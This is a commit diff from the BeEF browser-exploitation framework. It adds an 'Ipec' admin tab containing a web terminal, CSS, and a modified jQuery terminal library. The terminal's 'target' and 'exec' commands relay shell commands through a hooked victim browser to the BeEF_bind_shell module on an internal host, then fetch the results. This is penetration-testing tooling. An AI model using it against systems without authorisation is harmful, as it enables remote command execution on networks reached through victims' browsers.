Added new IPEC admin_ui tab. This includes the new Wterm-based interactive shell to communicate with the BeEF_bind shellcode.
This commit is contained in:
@@ -28,7 +28,12 @@
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabRider.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabXssRays.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/PanelViewer.js' %>
|
||||
<%= script_tag 'wterm/wterm.jquery.js' %>
|
||||
<%= stylesheet_tag 'wterm.css' %>
|
||||
<script type="text/javascript" language="JavaScript">var $jwterm = jQuery.noConflict();</script>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabIpec.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/PanelViewer.js' %>
|
||||
<%= script_tag 'ui/panel/DataGrid.js' %>
|
||||
<%= script_tag 'ui/panel/MainPanel.js' %>
|
||||
<%= script_tag 'ui/panel/ZombieTab.js' %>
|
||||
|
||||
28
extensions/admin_ui/media/css/wterm.css
Normal file
28
extensions/admin_ui/media/css/wterm.css
Normal file
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
/* Basic Terminal CSS */
|
||||
.wterm_terminal { background: #000; color: #fff; font-size: 1em; font-family: monospace; padding: 3px; width: 100%; height: 100%; display: block; overflow-x: none; overflow-y: auto; }
|
||||
|
||||
/* TODO: Input Box Width is faulty */
|
||||
.wterm_terminal input { background: transparent; border: 0; color: #fff; width: 100%; font-size: 1em; font-family: monospace; outline: none; }
|
||||
.wterm_terminal div:first { margin-bottom: 1em; }
|
||||
.wterm_terminal .wterm_prompt { float: left; clear: left; }
|
||||
.wterm_terminal form { float: left; margin: 0px; width: 75%; }
|
||||
|
||||
/* Themes */
|
||||
.wterm_theme_green_on_black { background: #000; color: #0f0; }
|
||||
.wterm_theme_green_on_black input { background: transparent; border: 0; color: #0f0; }
|
||||
|
||||
@@ -20,8 +20,10 @@ ZombieTab = function(zombie) {
|
||||
commands_tab = new ZombieTab_Commands(zombie);
|
||||
requester_tab = new ZombieTab_Requester(zombie);
|
||||
xssrays_tab = new ZombieTab_XssRaysTab(zombie);
|
||||
|
||||
ZombieTab.superclass.constructor.call(this, {
|
||||
ipec_tab = new ZombieTab_IpecTab(zombie);
|
||||
|
||||
|
||||
ZombieTab.superclass.constructor.call(this, {
|
||||
id:"current-browser",
|
||||
activeTab: 0,
|
||||
loadMask: {msg:'Loading browser...'},
|
||||
@@ -32,7 +34,7 @@ ZombieTab = function(zombie) {
|
||||
forceFit: true,
|
||||
type: 'fit'
|
||||
},
|
||||
items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab]
|
||||
items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab]
|
||||
});
|
||||
};
|
||||
|
||||
|
||||
@@ -0,0 +1,357 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
/*
|
||||
* The Ipec Tab panel for the selected zombie.
|
||||
*/
|
||||
|
||||
ZombieTab_IpecTab = function(zombie) {
|
||||
|
||||
var commands_statusbar = new Beef_StatusBar('ipec-bbar-zombie-'+zombie.session);
|
||||
|
||||
var req_pagesize = 30;
|
||||
|
||||
var ipec_config_panel = new Ext.Panel({
|
||||
id: 'ipec-config-zombie-'+zombie.session,
|
||||
title: 'Scan Config',
|
||||
layout: 'fit',
|
||||
autoscroll: true
|
||||
});
|
||||
|
||||
function get_rest_token(){
|
||||
var token = "";
|
||||
var url = "/ui/modules/getRestfulApiToken.json";
|
||||
$jwterm.ajax({
|
||||
contentType: 'application/json',
|
||||
dataType: 'json',
|
||||
type: 'GET',
|
||||
url: url,
|
||||
async: false,
|
||||
processData: false,
|
||||
success: function(data){
|
||||
token = data.token;
|
||||
console.log(token);
|
||||
},
|
||||
error: function(){
|
||||
console.log("Error getting RESTful API token");
|
||||
}
|
||||
});
|
||||
return token;
|
||||
}
|
||||
|
||||
function get_module_id(name, token){
|
||||
var id = "";
|
||||
var url = "/api/modules/search/" + name + "?token=" + token;
|
||||
$jwterm.ajax({
|
||||
contentType: 'application/json',
|
||||
dataType: 'json',
|
||||
type: 'GET',
|
||||
url: url,
|
||||
async: false,
|
||||
processData: false,
|
||||
success: function(data){
|
||||
id = data.id;
|
||||
},
|
||||
error: function(){
|
||||
console.log("Error getting module id.");
|
||||
}
|
||||
});
|
||||
return id;
|
||||
}
|
||||
|
||||
|
||||
function escape_html(str) {
|
||||
str = str.toString();
|
||||
str = str.replace(/</g, '<');
|
||||
str = str.replace(/>/g, '>');
|
||||
// str = str.replace(/\u0022/g, '"');
|
||||
str = str.replace(/\u0027/g, ''');
|
||||
str = str.replace(/\"\"/g, '');
|
||||
str = str.replace(/\\r/g, '');
|
||||
str = str.replace(/\\n/g, '<br>');
|
||||
str = str.replace(/\\\\/g, '\\');
|
||||
str = str.replace(/\\t/g, ' ');
|
||||
// str = str.replace(/\\/g, '\');
|
||||
return str;
|
||||
}
|
||||
|
||||
|
||||
function initTerminal(zombie){
|
||||
String.prototype.reverse = function() {
|
||||
return this.split('').reverse().join('');
|
||||
};
|
||||
|
||||
$jwterm( document ).ready( function() {
|
||||
$jwterm('#wterm').wterm( { WIDTH: '100%', HEIGHT: '100%', WELCOME_MESSAGE: 'Welcome to BeEF Bind interactive shell. To Begin Using type \'help\'' });
|
||||
});
|
||||
|
||||
var target_ip = "";
|
||||
var target_port = "";
|
||||
|
||||
var command_directory = {
|
||||
'eval': function( tokens ) {
|
||||
tokens.shift();
|
||||
var expression = tokens.join( ' ' );
|
||||
var result = '';
|
||||
try {
|
||||
result = eval( expression );
|
||||
} catch( e ) {
|
||||
result = 'Error: ' + e.message;
|
||||
}
|
||||
return result;
|
||||
},
|
||||
|
||||
'date': function( tokens ) {
|
||||
var now = new Date();
|
||||
return now.getDate() + '-' +
|
||||
now.getMonth() + '-' +
|
||||
( 1900 + now.getYear() )
|
||||
},
|
||||
|
||||
'cap': function( tokens ) {
|
||||
tokens.shift();
|
||||
return tokens.join( ' ' ).toUpperCase();
|
||||
},
|
||||
|
||||
'go': function( tokens ) {
|
||||
var url = tokens[1];
|
||||
document.location.href = url;
|
||||
},
|
||||
|
||||
'target': function(tokens){
|
||||
target_ip = tokens[1];
|
||||
target_port = tokens[2];
|
||||
return "Target is now " + tokens[1] + ":" + tokens[2];
|
||||
},
|
||||
|
||||
|
||||
'exec': function(tokens){
|
||||
if(target_ip.length == 0 || target_port.length == 0)
|
||||
return "Error: target ip or port not set."
|
||||
|
||||
tokens.shift(); //remove the first element (exec)
|
||||
var cmd = tokens.join(' '); //needed in case of commands with options
|
||||
cmd = cmd.replace(/\\/g, '\\\\'); //needed to prevent JS errors (\ need to be escaped)
|
||||
|
||||
var token = get_rest_token();
|
||||
var mod_id = get_module_id("BeEF_bind_shell", token);
|
||||
|
||||
var uri = "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token;
|
||||
|
||||
var result = null;
|
||||
|
||||
$jwterm.ajax({
|
||||
contentType: 'application/json',
|
||||
data: JSON.stringify({"rhost":target_ip, "rport":target_port, "path":"/", "cmd":cmd}),
|
||||
dataType: 'json',
|
||||
type: 'POST',
|
||||
url: uri,
|
||||
async: false,
|
||||
processData: false,
|
||||
success: function(data){
|
||||
console.log("data: " + data.command_id);
|
||||
result = "Command [" + data.command_id + "] sent successfully";
|
||||
},
|
||||
error: function(){
|
||||
console.log("Error sending command");
|
||||
return "Error sending command";
|
||||
}
|
||||
});
|
||||
|
||||
return result;
|
||||
},
|
||||
|
||||
'get': function(tokens){
|
||||
var command_id = tokens[1];
|
||||
|
||||
if(command_id != null){
|
||||
|
||||
var token = get_rest_token();
|
||||
var mod_id = get_module_id("BeEF_bind_shell", token);
|
||||
|
||||
var uri_results = "/api/modules/" + zombie.session + "/" + mod_id + "/"
|
||||
+ command_id + "?token=" + token;
|
||||
var results = "";
|
||||
$jwterm.ajax({
|
||||
contentType: 'application/json',
|
||||
dataType: 'json',
|
||||
type: 'GET',
|
||||
url: uri_results,
|
||||
async: false,
|
||||
processData: false,
|
||||
success: function(data){
|
||||
$jwterm.each(data, function(i){
|
||||
console.log("result [" + i +"]: " + $jwterm.parseJSON(data[i].data).data);
|
||||
results += $jwterm.parseJSON(data[i].data).data;
|
||||
});
|
||||
|
||||
},
|
||||
error: function(){
|
||||
console.log("Error sending command");
|
||||
return "Error sending command";
|
||||
}
|
||||
});
|
||||
results = escape_html(results);
|
||||
if(results.charAt(0) == '"' && results.charAt(results.length-1) == '"')
|
||||
results = results.slice(1,results.length-1);
|
||||
|
||||
return results;
|
||||
}
|
||||
},
|
||||
|
||||
'strrev': {
|
||||
PS1: 'strrev $',
|
||||
|
||||
EXIT_HOOK: function() {
|
||||
return 'exit interface commands';
|
||||
},
|
||||
|
||||
START_HOOK: function() {
|
||||
return 'exit interface commands';
|
||||
},
|
||||
|
||||
DISPATCH: function( tokens ) {
|
||||
return tokens.join('').reverse();
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
for( var j in command_directory ) {
|
||||
$jwterm.register_command( j, command_directory[j] );
|
||||
}
|
||||
|
||||
$jwterm.register_command( 'help', function() {
|
||||
return 'target - Usage: target <IP> <port> - Send commands to the specified IP:port<br>' +
|
||||
'exec - Usage exec <command> <command options> - Exec a command, returns the command id.<br>' +
|
||||
'get - Usage get <command id> - Retrieve command results given a specified command id.<br>'
|
||||
|
||||
});
|
||||
};
|
||||
|
||||
|
||||
var ipec_terminal_panel = new Ext.Panel({
|
||||
id: 'ipec-terminal-zombie-'+zombie.session,
|
||||
title: 'Terminal',
|
||||
layout: 'fit',
|
||||
padding: '1 1 1 1',
|
||||
autoScroll: true,
|
||||
html: "<style>body { background: #000; font-size: 1em;}</style><div id='wterm'></div>",
|
||||
listeners: {
|
||||
afterrender : function(){
|
||||
initTerminal(zombie);
|
||||
}
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
var ipec_logs_store = new Ext.ux.data.PagingJsonStore({
|
||||
storeId: 'ipec-logs-store-zombie-' + zombie.session,
|
||||
url: '/ui/ipec/zombie.json',
|
||||
remoteSort: false,
|
||||
autoDestroy: true,
|
||||
autoLoad: false,
|
||||
root: 'logs',
|
||||
|
||||
fields: ['id', 'vector_method', 'vector_name', 'vector_poc'],
|
||||
sortInfo: {field: 'id', direction: 'DESC'},
|
||||
|
||||
baseParams: {
|
||||
nonce: Ext.get("nonce").dom.value,
|
||||
zombie_session: zombie.session
|
||||
}
|
||||
});
|
||||
|
||||
var ipec_logs_bbar = new Ext.PagingToolbar({
|
||||
pageSize: req_pagesize,
|
||||
store: ipec_logs_store,
|
||||
displayInfo: true,
|
||||
displayMsg: 'Displaying history {0} - {1} of {2}',
|
||||
emptyMsg: 'No history to display'
|
||||
});
|
||||
|
||||
var ipec_logs_grid = new Ext.grid.GridPanel({
|
||||
id: 'ipec-logs-grid-zombie-' + zombie.session,
|
||||
store: ipec_logs_store,
|
||||
bbar: ipec_logs_bbar,
|
||||
border: false,
|
||||
loadMask: {msg:'Loading History...'},
|
||||
|
||||
viewConfig: {
|
||||
forceFit:true
|
||||
},
|
||||
|
||||
view: new Ext.grid.GridView({
|
||||
forceFit: true,
|
||||
emptyText: "No History",
|
||||
enableRowBody:true
|
||||
}),
|
||||
|
||||
columns: [
|
||||
{header: 'Id', width: 10, sortable: true, dataIndex: 'id', hidden:true},
|
||||
{header: 'Vector Method', width: 30, sortable: true, dataIndex: 'vector_method', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
|
||||
{header: 'Vector Name', width: 40, sortable: true, dataIndex: 'vector_name', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
|
||||
{header: 'Vector PoC', sortable: true, dataIndex: 'vector_poc', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}
|
||||
],
|
||||
|
||||
listeners: {
|
||||
afterrender: function(datagrid) {
|
||||
datagrid.store.reload({params:{start:0,limit:req_pagesize, sort: "date", dir:"DESC"}});
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
var ipec_logs_panel = new Ext.Panel({
|
||||
id: 'ipec-logs-panel-zombie-'+zombie.session,
|
||||
title: 'Logs',
|
||||
items:[ipec_logs_grid],
|
||||
layout: 'fit',
|
||||
|
||||
listeners: {
|
||||
activate: function(ipec_logs_panel) {
|
||||
ipec_logs_panel.items.items[0].store.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
function genScanSettingsPanel(zombie, bar, value) {
|
||||
|
||||
panel = Ext.getCmp('ipec-config-zombie-'+zombie.session);
|
||||
panel.setTitle('Prompt');
|
||||
panel.add(ipec_terminal_panel);
|
||||
// panel.add(form);
|
||||
}
|
||||
|
||||
ZombieTab_IpecTab.superclass.constructor.call(this, {
|
||||
id: 'ipec-log-tab-'+zombie.session,
|
||||
title: 'Ipec',
|
||||
activeTab: 0,
|
||||
viewConfig: {
|
||||
forceFit: true,
|
||||
type: 'fit',
|
||||
autoScroll:true
|
||||
},
|
||||
items: [ipec_config_panel],
|
||||
bbar: commands_statusbar,
|
||||
listeners: {
|
||||
afterrender : function(){
|
||||
genScanSettingsPanel(zombie, commands_statusbar);
|
||||
},
|
||||
autoScroll:true
|
||||
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
Ext.extend(ZombieTab_IpecTab, Ext.TabPanel, {} );
|
||||
415
extensions/admin_ui/media/javascript/wterm/wterm.jquery.js
Normal file
415
extensions/admin_ui/media/javascript/wterm/wterm.jquery.js
Normal file
@@ -0,0 +1,415 @@
|
||||
/**
|
||||
* @Author : venkatakrishnan ganesh
|
||||
* @file : wterm.jquery.js
|
||||
* @url : http://wterminal.appspot.com
|
||||
* @desc :
|
||||
*
|
||||
* Allows Emulation of Terminal on the browser.
|
||||
* Completely Extendible.
|
||||
* Command History.
|
||||
* Commandline Editing.
|
||||
*
|
||||
* Modified by antisnatchor
|
||||
* */
|
||||
|
||||
( function( $ ) {
|
||||
|
||||
|
||||
var VERSION = '0.0.4';
|
||||
|
||||
/**
|
||||
*
|
||||
* @function : get_defaults
|
||||
* @returns : Object
|
||||
* @desc : Returns Global Defaults
|
||||
*
|
||||
* */
|
||||
var get_defaults = function() {
|
||||
|
||||
return {
|
||||
|
||||
// PS1 : The Primary Prompt
|
||||
PS1 : 'BeEF-bind-$',
|
||||
|
||||
// TERMINAL_CLASS
|
||||
// Will be applied to the primary terminal container
|
||||
TERMINAL_CLASS : 'wterm_terminal',
|
||||
|
||||
// PROMPT_CLASS
|
||||
// Will Applied to prompt container
|
||||
PROMPT_CLASS : 'wterm_prompt',
|
||||
|
||||
// THEME_CLASS_PREFIX
|
||||
// All Theme Classes will be prefixed by this string
|
||||
THEME_CLASS_PREFIX : 'wterm_theme',
|
||||
|
||||
// DEFAULT_THEME
|
||||
// The theme that is applied by default
|
||||
DEFAULT_THEME : '_green_on_black',
|
||||
|
||||
// HIGHLIGHT_CLASS
|
||||
// The Class that is applied to highlighted text
|
||||
HIGHLIGHT_CLASS : 'wterm_highlight',
|
||||
|
||||
// KEYWORD_CLASS
|
||||
// The Class that is applied to keywords
|
||||
KEYWORD_CLASS : 'wterm_keyword',
|
||||
|
||||
// CONTENT_CLASS
|
||||
// The Class that is applied to content section
|
||||
KEYWORD_CLASS : 'wterm_content',
|
||||
|
||||
// WIDTH | HIGHT
|
||||
// Explicitly set width and height of the terminal
|
||||
// container. This may also be done in TERMINAL_CLASS
|
||||
WIDTH : '90%',
|
||||
HEIGHT : '90%',
|
||||
|
||||
// WELCOME_MESSAGE
|
||||
// Message to be shown when the terminal is first
|
||||
// published
|
||||
WELCOME_MESSAGE : 'Welcome to Wterm version-' + VERSION ,
|
||||
|
||||
// NOT_FOUND
|
||||
// Message to be published if the command is not found
|
||||
// Note: "CMD" will be replaced with the actual command
|
||||
NOT_FOUND : '<div> CMD: Command Not Found </div>',
|
||||
|
||||
// AUTOCOMPLETE
|
||||
// Is Autocomplete feature Enabled
|
||||
// Please see the manual on how AUTOCOMPLETE is implemented
|
||||
AUTOCOMPLETE : true,
|
||||
|
||||
// HISTORY
|
||||
// Is Command History Enabled
|
||||
HISTORY : true,
|
||||
|
||||
// HISTORY
|
||||
// No of entries to be stored in HISTORY
|
||||
HISTORY_ENTRIES : 100,
|
||||
|
||||
|
||||
// AJAX_METHOD
|
||||
// The HTTP Method that must be used for Ajax Requests
|
||||
AJAX_METHOD : 'GET',
|
||||
|
||||
|
||||
// AJAX_PARAMETER
|
||||
// The GET/POST parameter that should be used to make requests
|
||||
AJAX_PARAM : 'tokens',
|
||||
|
||||
// ERROR_PREFIX
|
||||
// Prefix For Error Messages
|
||||
ERROR_PREFIX : 'An Error Occured: '
|
||||
|
||||
};
|
||||
};
|
||||
|
||||
|
||||
/**
|
||||
* @property : dispatch
|
||||
* @accessor : $.register_command ( See Below )
|
||||
* @private
|
||||
* @desc :
|
||||
*
|
||||
* dispatch table stores command name and action
|
||||
* to be taken when user enters a command. See
|
||||
* Manual for more details on how to implement
|
||||
* your own commands
|
||||
*
|
||||
**/
|
||||
var dispatch = {
|
||||
};
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
* @method : wterm
|
||||
* @public
|
||||
* @desc : Sets up the terminal on the JQ object that
|
||||
* represents a ( or a group ) of HTML NODE (s)
|
||||
*
|
||||
**/
|
||||
$.fn.wterm = function( options ) {
|
||||
|
||||
|
||||
// Merge defaults with options
|
||||
var settings = get_defaults();
|
||||
$.extend( true, settings, options );
|
||||
|
||||
// JQ Plugin surprised??
|
||||
return this.each( function() {
|
||||
|
||||
|
||||
var element = $( this );
|
||||
var history = [ ];
|
||||
var hcurrent = null;
|
||||
|
||||
// Set up some markup in the element
|
||||
// required for terminal emulation
|
||||
element.addClass( settings.TERMINAL_CLASS ).addClass( settings.THEME_CLASS_PREFIX + settings.DEFAULT_THEME );
|
||||
if( settings.WIDTH && settings.HEIGHT ) element.css( { width: settings.WIDTH, height: settings.HEIGHT } )
|
||||
element.html( '' ).append( '<div>' + settings.WELCOME_MESSAGE + '</div>' );
|
||||
|
||||
element.append( '<div class="' + settings.CONTENT_CLASS + '"></div>' );
|
||||
element.append( '<div><span class="' + settings.PROMPT_CLASS + '">' + settings.PS1 + ' </span>' +
|
||||
'<form> <input type="text" ></form></div>' );
|
||||
|
||||
|
||||
// Representing prompt, form, input and content section
|
||||
// in the terminal
|
||||
var _prompt = element.find( 'div:last span:last' );
|
||||
var input_form = element.find( 'div:last form' );
|
||||
var input = element.find( 'div:last form input' );
|
||||
var content = element.find( '.' + settings.CONTENT_CLASS );
|
||||
|
||||
// Custom Dispatcher
|
||||
var cdispatch = null;
|
||||
|
||||
// Temprary storage for autocomplete configuration
|
||||
var ac_save = null;
|
||||
|
||||
// Temporary store for current prompt
|
||||
var cprompt = null;
|
||||
|
||||
// Curson always needs to be on the prompt
|
||||
input.focus();
|
||||
element.click( function() { input.focus(); } );
|
||||
|
||||
|
||||
/**
|
||||
* @method : hide
|
||||
* @private :
|
||||
* @desc : Hides the prompt
|
||||
**/
|
||||
var hide = function() {
|
||||
_prompt.hide();
|
||||
};
|
||||
|
||||
/**
|
||||
* @method : show
|
||||
* @private :
|
||||
* @desc : Shows the prompt
|
||||
**/
|
||||
var show = function() {
|
||||
_prompt.show();
|
||||
input.focus();
|
||||
};
|
||||
|
||||
/**
|
||||
* @method : update_content
|
||||
* @private :
|
||||
* @desc : Updates the content section
|
||||
* @args : current_prompt, command, data
|
||||
**/
|
||||
var update_content = function( p, cmd, data ) {
|
||||
content.append( '<div><span>' + p + ' ' + cmd + '</span><div>' + ( ( data ) ? data : '' ) + '</div></div>' );
|
||||
};
|
||||
|
||||
/**
|
||||
* @method : clear_content
|
||||
* @private :
|
||||
* @desc : Updates the content section
|
||||
* @args : current_prompt, command, data
|
||||
**/
|
||||
var clear_content = function() {
|
||||
content.html( '' );
|
||||
};
|
||||
|
||||
// Add the command to the dispatch
|
||||
dispatch.clear = clear_content;
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @method : set_prompt
|
||||
* @private :
|
||||
* @desc : Set the current prompt
|
||||
* @args : string
|
||||
**/
|
||||
set_prompt = function( p ) {
|
||||
if( p && p.length ) element.find( '.' + settings.PROMPT_CLASS).html( p + ' ' );
|
||||
};
|
||||
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
* @method : Anonymous
|
||||
* @private :
|
||||
* @event_handler
|
||||
*
|
||||
**/
|
||||
input_form.submit( function( e ) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
|
||||
var value = input.attr( 'value' );
|
||||
|
||||
if( settings.HISTORY ) {
|
||||
if( history.length > settings.HISTORY_ENTRIES ) history.shift();
|
||||
history.push( value );
|
||||
}
|
||||
|
||||
// Reset The Input
|
||||
input.attr( 'value', '' );
|
||||
var tokens = value.split( /\s+/ );
|
||||
var key = tokens[0];
|
||||
|
||||
hide();
|
||||
|
||||
var get_current_prompt = function() {
|
||||
return ( cprompt ) ? cprompt : settings.PS1;
|
||||
}
|
||||
|
||||
var _dispatch = function( key, tokens ) {
|
||||
|
||||
if( typeof key === 'function' ) {
|
||||
data = key( tokens );
|
||||
if( data ) { update_content( get_current_prompt(), value, data ) }
|
||||
} else if( typeof key === 'string' ) {
|
||||
var to_send = { };
|
||||
to_send[ settings.AJAX_PARAM ] = tokens.join( ' ' );
|
||||
|
||||
var on_complete = function( data, text_status ) {
|
||||
update_content( get_current_prompt(), value, data )
|
||||
};
|
||||
|
||||
$[ settings.AJAX_METHOD.toLowerCase() ]( key, to_send, on_complete );
|
||||
}
|
||||
};
|
||||
|
||||
if( key == '' ) {
|
||||
update_content( get_current_prompt() , '' )
|
||||
} else if( cdispatch && key == 'exit' ) {
|
||||
|
||||
// Recover old configuration and Dispatch exit hook
|
||||
settings.AUTOCOMPLETE = ( ac_save ) ? ac_save : false ;
|
||||
|
||||
// Todo: test what happens when exit hook is not defined
|
||||
if( cdispatch.EXIT_HOOK ) {
|
||||
_dispatch( cdispatch.EXIT_HOOK, tokens );
|
||||
} else {
|
||||
_dispatch( function() { return '<b></b>' }, tokens );
|
||||
}
|
||||
|
||||
// Clear temporary values
|
||||
cdispatch = null;
|
||||
cprompt = null;
|
||||
|
||||
// Reset the prompt
|
||||
set_prompt( settings.PS1 );
|
||||
|
||||
} else if( cdispatch ) {
|
||||
|
||||
// Dispatch to the custom dispatcher
|
||||
_dispatch( cdispatch.DISPATCH, tokens );
|
||||
|
||||
} else if( dispatch[ key ] ) {
|
||||
if( typeof dispatch[ key ] === 'object' ) {
|
||||
cdispatch = dispatch[ key ];
|
||||
cprompt = cdispatch.PS1 || key;
|
||||
set_prompt( cprompt );
|
||||
|
||||
ac_save = settings.AUTOCOMPLETE;
|
||||
settings.AUTOCOMPLETE = false;
|
||||
|
||||
// Todo:See what happens if start hook is not defined
|
||||
if( cdispatch.START_HOOK ) {
|
||||
_dispatch( cdispatch.START_HOOK, tokens );
|
||||
} else {
|
||||
// A stupid Hack
|
||||
_dispatch( function() { return '<b></b>' }, tokens );
|
||||
}
|
||||
} else {
|
||||
_dispatch( dispatch[ key ], tokens );
|
||||
}
|
||||
} else {
|
||||
update_content( settings.PS1, value, settings.NOT_FOUND.replace( 'CMD', tokens[0] ));
|
||||
}
|
||||
|
||||
show();
|
||||
|
||||
|
||||
} );
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
* @method : Anonymous
|
||||
* @private :
|
||||
* @event_handler
|
||||
*
|
||||
**/
|
||||
input.keydown( function( e ) {
|
||||
var keycode = e.keyCode;
|
||||
switch( keycode ) {
|
||||
|
||||
case 9:
|
||||
|
||||
e.preventDefault();
|
||||
|
||||
if( settings.AUTOCOMPLETE ) {
|
||||
var commands = [ ];
|
||||
var current_value = input.attr( 'value' );
|
||||
// Command Completion
|
||||
if( current_value.match( /^[^\s]{0,}$/ ) ) {
|
||||
for( i in dispatch ) {
|
||||
if( current_value == '' ) {
|
||||
commands.push( i );
|
||||
} else if( i.indexOf( current_value ) == 0 ) {
|
||||
commands.push( i );
|
||||
}
|
||||
}
|
||||
|
||||
if( commands.length > 1 ) {
|
||||
update_content( settings.PS1, current_value, commands.join( '<br>' ) );
|
||||
} else if( commands.length == 1 ) {
|
||||
input.attr( 'value', commands.pop() + ' ' );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
// History Up
|
||||
case 38:
|
||||
e.preventDefault();
|
||||
if( settings.HISTORY ) {
|
||||
hcurrent = ( hcurrent === null )? history.length - 1 : ( hcurrent == 0 ) ? history.length - 1 : hcurrent - 1;
|
||||
input.attr( 'value', history[ hcurrent ] );
|
||||
}
|
||||
break;
|
||||
|
||||
// History Down
|
||||
case 40:
|
||||
e.preventDefault();
|
||||
if( settings.HISTORY ) {
|
||||
if( hcurrent === null || hcurrent == (history.length - 1 ) ) break;
|
||||
hcurrent++;
|
||||
input.attr( 'value', history[ hcurrent ] );
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
};
|
||||
|
||||
|
||||
$.register_command = function( command, dispatch_method ) {
|
||||
try {
|
||||
if( typeof dispatch_method === 'function' || typeof dispatch_method === 'string' || typeof dispatch_method === 'object' ) {
|
||||
dispatch[ command ] = dispatch_method;
|
||||
} else {
|
||||
throw 'Dispatch needs to be a method';
|
||||
}
|
||||
} catch ( e ) {
|
||||
// Error Handling here
|
||||
}
|
||||
};
|
||||
|
||||
})( jQuery );
|
||||
Reference in New Issue
Block a user